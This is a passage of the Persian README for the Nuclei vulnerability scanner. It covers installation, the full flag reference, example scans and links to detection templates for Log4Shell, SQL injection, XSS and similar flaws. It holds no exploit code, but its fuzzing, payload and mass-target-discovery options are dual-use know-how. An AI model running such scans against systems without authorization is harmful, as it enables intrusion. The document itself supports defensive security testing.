<a href="https://www.youtube.com/watch?v=b5qMyQvL1ZA&list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-getting-started.png" width="350px" alt="Nuclei Getting Started Video Tutorial"></a> <a href="https://www.youtube.com/watch?v=nFXygQdtjyw&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-write-your-first-template.png" width="350px" alt="Writing Your First Nuclei Template Video Tutorial"></a>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<br>
|
||||
|
||||
### نصب
|
||||
|
||||
برای نصب موفقیتآمیز `nuclei` به نسخه **go >= 1.24.2** نیاز است. دستور زیر را برای دریافت مخزن اجرا کنید:
|
||||
|
||||
<div dir="ltr">
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
</div>
|
||||
|
||||
برای اطلاعات بیشتر درباره نحوه نصب nuclei، به آدرس `https://docs.projectdiscovery.io/tools/nuclei/install` مراجعه کنید.
|
||||
|
||||
### دستورات خط فرمان
|
||||
|
||||
برای نمایش تمامی پارامترها و سوییچهای این ابزار:
|
||||
|
||||
<div dir="ltr">
|
||||
|
||||
```sh
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
<details>
|
||||
<summary>گسترش تمام فلگهای راهنما</summary>
|
||||
|
||||
<div dir="ltr">
|
||||
|
||||
```yaml
|
||||
Nuclei is a fast, template based vulnerability scanner focusing
|
||||
on extensive configurability, massive extensibility and ease of use.
|
||||
|
||||
Usage:
|
||||
./nuclei [flags]
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-targets-inline string inline multiline target list (for use in template profiles)
|
||||
-eh, -exclude-hosts string[] hosts to exclude to scan from the input list (ip, cidr, hostname)
|
||||
-resume string resume scan from and save to specified file (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
-dun, -disable-url-normalization keep targets exactly as supplied instead of collapsing urls that address the same resource
|
||||
-mup, -max-urls-per-pattern int scan at most this many urls sharing one structural shape, e.g. /user/1 and /user/2 (0 to scan all)
|
||||
|
||||
TARGET-FORMAT:
|
||||
-im, -input-mode string mode of input file (list, burp, jsonl, yaml, openapi, swagger, http) (default "list")
|
||||
-ro, -required-only use only required fields in input format when generating requests
|
||||
-sfv, -skip-format-validation skip format validation (like missing vars) when parsing input file
|
||||
-vtt, -vars-text-templating enable text templating for vars in input file (only for yaml input mode)
|
||||
-vfp, -var-file-paths string[] list of yaml file contained vars to inject into yaml input
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-turl, -template-url string[] template url or list containing template urls to run (comma-separated, file)
|
||||
-ai, -prompt string generate and run template using ai prompt
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all templates matching current filters
|
||||
-tgl list all available tags
|
||||
-sign signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
|
||||
-code enable loading code protocol-based templates
|
||||
-dut, -disable-unsigned-templates disable running unsigned templates or templates with mismatched signature
|
||||
-esc, -enable-self-contained enable loading self-contained templates
|
||||
-egm, -enable-global-matchers enable loading global matchers templates
|
||||
-file enable loading file templates
|
||||
-llm enable llm matchers and extractors (semantic matching)
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together, orcarouter) (default "openai")
|
||||
-llm-base-url string openai-compatible endpoint for semantic matching (overrides -llm-provider, e.g. a local model)
|
||||
-llm-model string model used for semantic matching
|
||||
-llm-timeout int time in seconds to wait for a single llm call (default 30)
|
||||
-llm-max-calls int maximum llm calls per scan (0 for unlimited) (default 5000)
|
||||
-llm-concurrency int maximum concurrent llm calls (default 4)
|
||||
-llm-cache cache llm responses within a scan (default true)
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
-tags string[] templates to run based on tags (comma-separated, file)
|
||||
-etags, -exclude-tags string[] templates to exclude based on tags (comma-separated, file)
|
||||
-itags, -include-tags string[] tags to be executed even if they are excluded either by default or configuration
|
||||
-id, -template-id string[] templates to run based on template ids (comma-separated, file, allow-wildcard)
|
||||
-eid, -exclude-id string[] templates to exclude based on template ids (comma-separated, file)
|
||||
-it, -include-templates string[] path to template file or directory to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] path to template file or directory to exclude (comma-separated, file)
|
||||
-em, -exclude-matchers string[] template matchers to exclude in result
|
||||
-s, -severity value[] templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] templates to run based on expression condition
|
||||
|
||||
OUTPUT:
|
||||
-o, -output string output file to write found issues/vulnerabilities
|
||||
-sresp, -store-resp store all request/response passed through nuclei to output directory
|
||||
-srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output")
|
||||
-silent display findings only
|
||||
-nc, -no-color disable output content coloring (ANSI escape codes)
|
||||
-j, -jsonl write output in JSONL(ines) format
|
||||
-irr, -include-rr -omit-raw include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
|
||||
-or, -omit-raw omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)
|
||||
-ot, -omit-template omit encoded template in the JSON, JSONL output
|
||||
-nm, -no-meta disable printing result metadata in cli output
|
||||
-ts, -timestamp enables printing timestamp in cli output
|
||||
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
|
||||
-ms, -matcher-status display match failure status
|
||||
-me, -markdown-export string directory to export results in markdown format
|
||||
-se, -sarif-export string file to export results in SARIF format
|
||||
-je, -json-export string file to export results in JSON format
|
||||
-jle, -jsonl-export string file to export results in JSONL(ine) format
|
||||
-pe, -pdf-export string file to export results in PDF format
|
||||
-rd, -redact string[] redact given list of keys from query parameter, request header and body
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string path to the nuclei configuration file
|
||||
-tp, -profile string template profile config file to run
|
||||
-tpl, -profile-list list community template profiles
|
||||
-fr, -follow-redirects enable following redirects for http templates
|
||||
-fhr, -follow-host-redirects follow redirects on the same host
|
||||
-mr, -max-redirects int max number of redirects to follow for http templates (default 10)
|
||||
-dr, -disable-redirects disable redirects for http templates
|
||||
-rc, -report-config string nuclei reporting module configuration file
|
||||
-H, -header string[] custom header/cookie to include in all http request in header:value format (cli, file)
|
||||
-V, -var value custom vars in key=value format
|
||||
-r, -resolvers string file containing resolver list for nuclei
|
||||
-sr, -system-resolvers use system DNS resolving as error fallback
|
||||
-dc, -disable-clustering disable clustering of requests
|
||||
-passive enable passive HTTP response processing mode
|
||||
-fh2, -force-http2 force http2 connection on requests
|
||||
-ev, -env-vars enable environment variables to be used in template
|
||||
-cc, -client-cert string client certificate file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ck, -client-key string client key file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ca, -client-ca string client certificate authority file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-sml, -show-match-line show match lines for file templates, works with extractors only
|
||||
-ztls use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default
|
||||
-sni string tls sni hostname to use (default: input domain name)
|
||||
-dka, -dialer-keep-alive value keep-alive duration for network requests.
|
||||
-lfa, -allow-local-file-access allow all templates in the run to read any file on the system (not just payloads)
|
||||
-lna, -restrict-local-network-access blocks connections to the local / private network
|
||||
-i, -interface string network interface to use for network scan
|
||||
-at, -attack-type string type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
|
||||
-pro, -payload-random-order iterate payload combinations in a random order instead of sequentially
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-rqss, -request-size-save int max request body size to save in bytes (0 to save the whole body) (default 32768)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string authentication token for self-hosted interactsh server
|
||||
-interactions-cache-size int number of requests to keep in the interactions cache (default 5000)
|
||||
-interactions-eviction int number of seconds to wait before evicting requests from cache (default 60)
|
||||
-interactions-poll-duration int number of seconds to wait before each interaction poll request (default 5)
|
||||
-interactions-cooldown-period int extra time for interaction polling before exiting (default 5)
|
||||
-ni, -no-interactsh disable interactsh server for OAST testing, exclude OAST based templates
|
||||
|
||||
FUZZING:
|
||||
-ft, -fuzzing-type string overrides fuzzing type set in template (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string overrides fuzzing mode set in template (multiple, single)
|
||||
-fuzz enable loading fuzzing templates (Deprecated: use -dast instead)
|
||||
-dast enable / run dast (fuzz) nuclei templates
|
||||
-dts, -dast-server enable dast server mode (live fuzzing)
|
||||
-dtr, -dast-report write dast scan report to file
|
||||
-dtst, -dast-server-token string dast server token (optional)
|
||||
-dtsa, -dast-server-address string dast server address (default "localhost:9055")
|
||||
-dtp, -dast-proxy enable dast proxy mode (fuzz live traffic proxied through nuclei)
|
||||
-dtpa, -dast-proxy-address string dast proxy listen address (default "127.0.0.1:9056")
|
||||
-dtpau, -dast-proxy-auth string dast proxy basic auth in user:pass format (required for non-loopback address)
|
||||
-dfp, -display-fuzz-points display fuzz points in the output for debugging
|
||||
-fuzz-param-frequency int frequency of uninteresting parameters for fuzzing before skipping (default 10)
|
||||
-fa, -fuzz-aggression string fuzzing aggression level controls payload count for fuzz (low, medium, high) (default "low")
|
||||
-cs, -fuzz-scope string[] in scope url regex to be followed by fuzzer
|
||||
-cos, -fuzz-out-scope string[] out of scope url regex to be excluded by fuzzer
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow,google) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ur, -uncover-ratelimit int override ratelimit of engines with unknown ratelimit (default 60 req/min) (default 60)
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int maximum number of requests to send per second (default 150)
|
||||
-rld, -rate-limit-duration value maximum number of requests to send per second (default 1s)
|
||||
-host-backoff slow down a host that starts blocking (429, repeated 403s, connection failures)
|
||||
-host-backoff-max value maximum delay applied to a host that is blocking (default 30s)
|
||||
-per-host-rate-limit enable per-host rate limiting (global rate limit becomes unlimited when enabled)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute (DEPRECATED)
|
||||
-bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25)
|
||||
-c, -concurrency int maximum number of templates to be executed in parallel (default 25)
|
||||
-hbs, -headless-bulk-size int maximum number of headless hosts to be analyzed in parallel per template (default 10)
|
||||
-headc, -headless-concurrency int maximum number of headless templates to be executed in parallel (default 10)
|
||||
-jsc, -js-concurrency int maximum number of javascript runtimes to be executed in parallel (default 120)
|
||||
-pc, -payload-concurrency int max payload concurrency for each template (default 25)
|
||||
-prc, -probe-concurrency int http probe concurrency with httpx (default 50)
|
||||
-tlc, -template-loading-concurrency int maximum number of concurrent template loading operations (default 50)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int time to wait in seconds before timeout (default 10)
|
||||
-retries int number of times to retry a failed request (default 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
|
||||
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
|
||||
-te, -track-error string[] adds given error to max-host-error watchlist (standard, file)
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project use a project folder to avoid sending same request multiple times
|
||||
-project-path string set a specific project path (default "/tmp")
|
||||
-spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic)
|
||||
-stream stream mode - start elaborating without sorting the input
|
||||
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default auto)
|
||||
-irt, -input-read-timeout value timeout on input read (default 3m0s)
|
||||
-nh, -no-httpx disable httpx probing for non-url input
|
||||
-preflight-portscan run preflight resolve + TCP portscan and filter targets before scanning (disabled by default)
|
||||
-no-stdin disable stdin processing
|
||||
|
||||
HEADLESS:
|
||||
-headless enable templates that require headless browser support (root user on Linux will disable sandbox)
|
||||
-page-timeout int seconds to wait for each page in headless mode (default 20)
|
||||
-sb, -show-browser show the browser on the screen when running templates with headless mode
|
||||
-ho, -headless-options string[] start headless chrome with additional options
|
||||
-sc, -system-chrome use local installed Chrome browser instead of nuclei installed
|
||||
-cdpe, -cdp-endpoint string use remote browser via Chrome DevTools Protocol (CDP) endpoint
|
||||
-lha, -list-headless-action list available headless actions
|
||||
|
||||
DEBUG:
|
||||
-debug show all requests and responses
|
||||
-dreq, -debug-req show all sent requests
|
||||
-dresp, -debug-resp show all received responses
|
||||
-p, -proxy string[] list of http/socks5 proxy to use (comma separated or file input)
|
||||
-pi, -proxy-internal proxy all internal requests
|
||||
-rp, -replay-proxy string http/socks5 proxy to re-send requests that produced a finding through (e.g. burp)
|
||||
-ldf, -list-dsl-function list all supported DSL function signatures
|
||||
-tlog, -trace-log string file to write sent requests trace log
|
||||
-elog, -error-log string file to write sent requests error log
|
||||
-version show nuclei version
|
||||
-hm, -hang-monitor enable nuclei hang monitoring
|
||||
-v, -verbose show verbose output
|
||||
-profile-mem string generate memory (heap) profile & trace files
|
||||
-vv display templates loaded for scan
|
||||
-svd, -show-var-dump show variables dump for debugging
|
||||
-vdl, -var-dump-limit int limit the number of characters displayed in var dump (default 255)
|
||||
-ep, -enable-pprof enable pprof debugging server
|
||||
-tv, -templates-version shows the version of the installed nuclei-templates
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-utc, -update-templates-channel string nuclei-templates update channel (stable, latest) (default "stable")
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
HONEYPOT:
|
||||
-hpd, -honeypot-detect detect potential honeypot hosts based on match concentration
|
||||
-hpt, -honeypot-threshold int number of distinct template IDs required to flag a honeypot host (default 15)
|
||||
-shp, -suppress-honeypot suppress output for flagged honeypot hosts
|
||||
|
||||
STATISTICS:
|
||||
-stats display statistics about the running scan
|
||||
-sj, -stats-json display statistics in JSONL(ines) format
|
||||
-si, -stats-interval int number of seconds to wait between showing a statistics update (default 5)
|
||||
-mp, -metrics-port int port to expose nuclei metrics on (default 9092)
|
||||
-hps, -http-stats enable http status capturing (experimental)
|
||||
|
||||
CLOUD:
|
||||
-auth configure projectdiscovery cloud (pdcp) api key (default true)
|
||||
-tid, -team-id string upload scan results to given team id (optional) (default "none")
|
||||
-cup, -cloud-upload upload scan results to pdcp dashboard [DEPRECATED use -dashboard]
|
||||
-sid, -scan-id string upload scan results to existing scan id (optional)
|
||||
-sname, -scan-name string scan name to set (optional)
|
||||
-pd, -dashboard upload / view nuclei results in projectdiscovery cloud (pdcp) UI dashboard
|
||||
-pdu, -dashboard-upload string upload / view nuclei results file (jsonl) in projectdiscovery cloud (pdcp) UI dashboard
|
||||
|
||||
AUTHENTICATION:
|
||||
-sf, -secret-file string[] path to config file containing secrets for nuclei authenticated scan
|
||||
-ps, -prefetch-secrets prefetch secrets from the secrets file
|
||||
# NOTE: Headers in secrets files preserve exact casing (useful for case-sensitive APIs)
|
||||
|
||||
|
||||
EXAMPLES:
|
||||
Run nuclei on single host:
|
||||
$ nuclei -target example.com
|
||||
|
||||
Run nuclei with specific template directories:
|
||||
$ nuclei -target example.com -t http/cves/ -t ssl
|
||||
|
||||
Run nuclei against a list of hosts:
|
||||
$ nuclei -list hosts.txt
|
||||
|
||||
Run nuclei with a JSON output:
|
||||
$ nuclei -target example.com -json-export output.json
|
||||
|
||||
Run nuclei with sorted Markdown outputs (with environment variables):
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
|
||||
Additional documentation is available at: https://docs.projectdiscovery.io/getting-started/running
|
||||
|
||||
```
|
||||
|
||||
</div>
|
||||
|
||||
مستندات تکمیلی در این آدرس در دسترس است: [**`docs.projectdiscovery.io/getting-started/running`**](https://docs.projectdiscovery.io/getting-started/running?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme)
|
||||
|
||||
</details>
|
||||
|
||||
### اسکن یک هدف
|
||||
|
||||
برای انجام یک اسکن سریع روی یک وباپلیکیشن:
|
||||
|
||||
<div dir="ltr">
|
||||
|
||||
```sh
|
||||
nuclei -target https://example.com
|
||||
```
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
### اسکن چندین هدف
|
||||
|
||||
Nuclei میتواند با ارائهٔ فهرستی از اهداف، اسکن گروهی را انجام دهد. میتوانید از فایلی استفاده کنید که شامل چندین URL است.
|
||||
|
||||
<div dir="ltr">
|
||||
|
||||
```sh
|
||||
nuclei -list urls.txt
|
||||
```
|
||||
</div>
|
||||
|
||||
### اسکن شبکه
|
||||
|
||||
این کار کل زیرشبکه را برای مشکلات مرتبط با شبکه، مانند پورتهای باز یا سرویسهای پیکربندی نادرست، اسکن میکند.
|
||||
|
||||
<div dir="ltr">
|
||||
|
||||
```sh
|
||||
nuclei -target 192.168.1.0/24
|
||||
```
|
||||
</div>
|
||||
|
||||
### اسکن با استفاده از قالب سفارشی خودتان
|
||||
|
||||
برای نوشتن و استفاده از قالب خودتان، یک فایل `.yaml` با قوانین مشخص ایجاد کنید، سپس آن را بهصورت زیر استفاده کنید.
|
||||
|
||||
<div dir="ltr">
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -t /path/to/your-template.yaml
|
||||
```
|
||||
</div>
|
||||
|
||||
### اتصال Nuclei به ProjectDiscovery
|
||||
|
||||
میتوانید اسکنها را روی دستگاه خود اجرا کرده و نتایج را برای تحلیل و رفع مشکلات بیشتر، در پلتفرم ابری بارگذاری کنید.
|
||||
|
||||
<div dir="ltr">
|
||||
|
||||
```sh
|
||||
nuclei -target https://example.com -dashboard
|
||||
```
|
||||
</div>
|
||||
|
||||
> [!NOTE]
|
||||
> این قابلیت کاملاً رایگان است و به هیچگونه اشتراکی نیاز ندارد. برای راهنمایی دقیقتر، به [**`مستندات`**](https://docs.projectdiscovery.io/cloud/scanning/overview?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) مراجعه کنید.
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## قالبهای Nuclei، جامعه و پاداشها 💎
|
||||
|
||||
[**قالبهای Nuclei**](https://github.com/projectdiscovery/nuclei-templates) بر اساس مفهوم فایلهای قالب مبتنی بر YAML طراحی شدهاند که نحوه ارسال و پردازش درخواستها را تعریف میکنند. این موضوع امکان توسعهپذیری آسان Nuclei را فراهم میکند. قالبها با استفاده از YAML نوشته میشوند که قالبی ساده و قابلخواندن برای انسان ارائه میدهد تا بتوان فرآیند اجرا را بهسرعت تعریف کرد.
|
||||
|
||||
**همین حالا بهصورت آنلاین با ویرایشگر رایگان قالبهای Nuclei مجهز به هوش مصنوعی ما امتحان کنید؛** [**`اینجا کلیک کنید`**](https://cloud.projectdiscovery.io/templates).
|
||||
|
||||
قالبهای Nuclei روشی ساده و یکپارچه برای شناسایی و گزارش آسیبپذیریها ارائه میدهند و جزئیات ضروری مانند سطح شدت و روشهای شناسایی را در بر میگیرند. این ابزار متنباز که توسط جامعه توسعه داده میشود، واکنش به تهدیدات را سرعت میبخشد و در دنیای امنیت سایبری بهطور گسترده شناخته شده است. قالبهای Nuclei بهطور فعال توسط هزاران پژوهشگر امنیتی در سراسر جهان توسعه داده میشوند. ما دو برنامه برای مشارکتکنندگان خود داریم: [**`Pioneers`**](https://projectdiscovery.io/pioneers) و [**`💎 پاداشها`**](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22).
|
||||
|
||||
<p align="right">
|
||||
<a href="/static/nuclei-templates-teamcity.png" target="_blank"><img src="/static/nuclei-templates-teamcity.png" width="1200px" alt="نمونه قالب Nuclei برای شناسایی پیکربندی نادرست TeamCity" /></a>
|
||||
</p>
|
||||
|
||||
### مثالها
|
||||
|
||||
برای مشاهده موارد استفاده و ایدهها، به [**مستندات ما**](https://docs.projectdiscovery.io/templates/introduction) مراجعه کنید.
|
||||
|
||||
| قالب Nuclei | مورد استفاده |
|
||||
| ---: | ---: |
|
||||
| **[CVE-2021-44228 (Log4Shell)](https://cloud.projectdiscovery.io/public/CVE-2021-45046)** | شناسایی CVEهای شناختهشده |
|
||||
| **[Blind SQL Injection via OOB](https://cloud.projectdiscovery.io/public/CVE-2024-22120)** | شناسایی آسیبپذیریهای Out-of-Band |
|
||||
| **[Generic SQL Injection](https://cloud.projectdiscovery.io/public/CVE-2022-34265)** | شناسایی SQL Injection |
|
||||
| **[Reflected XSS Detection](https://cloud.projectdiscovery.io/public/CVE-2023-4173)** | Cross-Site Scripting (XSS) |
|
||||
| **[Default Credentials Check](https://cloud.projectdiscovery.io/public/airflow-default-login)** | رمزهای عبور پیشفرض یا ضعیف |
|
||||
| **[Sensitive File Disclosure](https://cloud.projectdiscovery.io/public/airflow-configuration-exposure)** | فایلهای محرمانه یا افشای دادهها |
|
||||
| **[Open Redirect Detection](https://cloud.projectdiscovery.io/public/open-redirect)** | شناسایی Open Redirect |
|
||||
| **[Subdomain Takeover Templates](https://cloud.projectdiscovery.io/public/azure-takeover-detection)** | شناسایی Subdomain Takeover |
|
||||
| **[Unprotected Jenkins Console](https://cloud.projectdiscovery.io/public/unauthenticated-jenkins)** | پیکربندیهای نادرست امنیتی |
|
||||
| **[SSL Certificate Expiry](https://cloud.projectdiscovery.io/public/expired-ssl)** | پیکربندیهای ضعیف SSL/TLS |
|
||||
| **[Open S3 Bucket Detection](https://cloud.projectdiscovery.io/public/s3-public-read-acp)** | سرویسهای ابری با پیکربندی نادرست |
|
||||
| **[RCE Detection Templates](https://cloud.projectdiscovery.io/public/CVE-2024-29824)** | آسیبپذیریهای اجرای کد از راه دور |
|
||||
| **[Path Traversal Detection](https://cloud.projectdiscovery.io/public/oracle-fatwire-lfi)** | حملات Directory Traversal |
|
||||
| **[Local/Remote File Inclusion](https://cloud.projectdiscovery.io/public/CVE-2023-6977)** | آسیبپذیریهای File Inclusion |
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## ماموریت ما
|
||||
|
||||
اسکنرهای سنتی آسیبپذیری دههها پیش ساخته شدهاند. آنها متنبسته، فوقالعاده کند و وابسته به فروشندگان هستند. مهاجمان امروزی، برخلاف گذشته که بهرهبرداری از آسیبپذیریها سالها طول میکشید، ظرف چند روز پس از انتشار CVEهای جدید، آنها را در سراسر اینترنت بهصورت گسترده مورد سوءاستفاده قرار میدهند. این تغییر، نیازمند رویکردی کاملاً متفاوت برای مقابله با اکسپلویتهای پرطرفدار در اینترنت است.
|
||||
|
||||
ما Nuclei را برای حل این چالش ساختیم. ما کل چارچوب موتور اسکن را متنباز و قابل سفارشیسازی کردیم تا جامعه امنیتی جهانی بتواند با یکدیگر همکاری کرده و با بردارهای حمله و آسیبپذیریهای پرطرفدار در اینترنت مقابله کند. امروزه Nuclei توسط شرکتهای Fortune 500، سازمانهای دولتی و دانشگاهها استفاده و توسعه داده میشود.
|
||||
|
||||
شما نیز میتوانید با مشارکت در کد ما، [**`کتابخانه قالبها`**](https://github.com/projectdiscovery/nuclei-templates)، یا [**`پیوستن به تیم ما`**](https://projectdiscovery.io/) مشارکت کنید.
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## مشارکتکنندگان :heart:
|
||||
|
||||
از تمام مشارکتکنندگان فوقالعاده [**`جامعه که با ارسال PRها`**](https://github.com/projectdiscovery/nuclei/graphs/contributors) و بهروز نگهداشتن این پروژه از آن حمایت میکنند، سپاسگزاریم. :heart:
|
||||
|
||||
<p align="left">
|
||||
<a href="https://github.com/Ice3man543"><img src="https://avatars.githubusercontent.com/u/22318055?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/apps/dependabot"><img src="https://avatars.githubusercontent.com/in/29110?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ehsandeep"><img src="https://avatars.githubusercontent.com/u/8293321?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Mzack9999"><img src="https://avatars.githubusercontent.com/u/13421144?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/forgedhallpass"><img src="https://avatars.githubusercontent.com/u/13679401?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tarunKoyalwar"><img src="https://avatars.githubusercontent.com/u/45962551?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/manuelbua"><img src="https://avatars.githubusercontent.com/u/819314?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/actions-user"><img src="https://avatars.githubusercontent.com/u/65916846?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dogancanbakir"><img src="https://avatars.githubusercontent.com/u/65292895?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/parrasajad"><img src="https://avatars.githubusercontent.com/u/16835787?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vzamanillo"><img src="https://avatars.githubusercontent.com/u/10209695?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ShubhamRasal"><img src="https://avatars.githubusercontent.com/u/45902122?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/RamanaReddy0M"><img src="https://avatars.githubusercontent.com/u/90540245?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/LuitelSamikshya"><img src="https://avatars.githubusercontent.com/u/85764322?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kchason"><img src="https://avatars.githubusercontent.com/u/1111099?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/pmareke"><img src="https://avatars.githubusercontent.com/u/3502075?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dwisiswant0"><img src="https://avatars.githubusercontent.com/u/25837540?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xm1k3"><img src="https://avatars.githubusercontent.com/u/73166077?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/5amu"><img src="https://avatars.githubusercontent.com/u/39925709?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ehrishirajsharma"><img src="https://avatars.githubusercontent.com/u/35542790?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zerodivisi0n"><img src="https://avatars.githubusercontent.com/u/687694?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/geeknik"><img src="https://avatars.githubusercontent.com/u/466878?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/TerminalFi"><img src="https://avatars.githubusercontent.com/u/32599364?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KaulSe"><img src="https://avatars.githubusercontent.com/u/45340011?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sullo"><img src="https://avatars.githubusercontent.com/u/1474884?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/wdahlenburg"><img src="https://avatars.githubusercontent.com/u/4451504?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
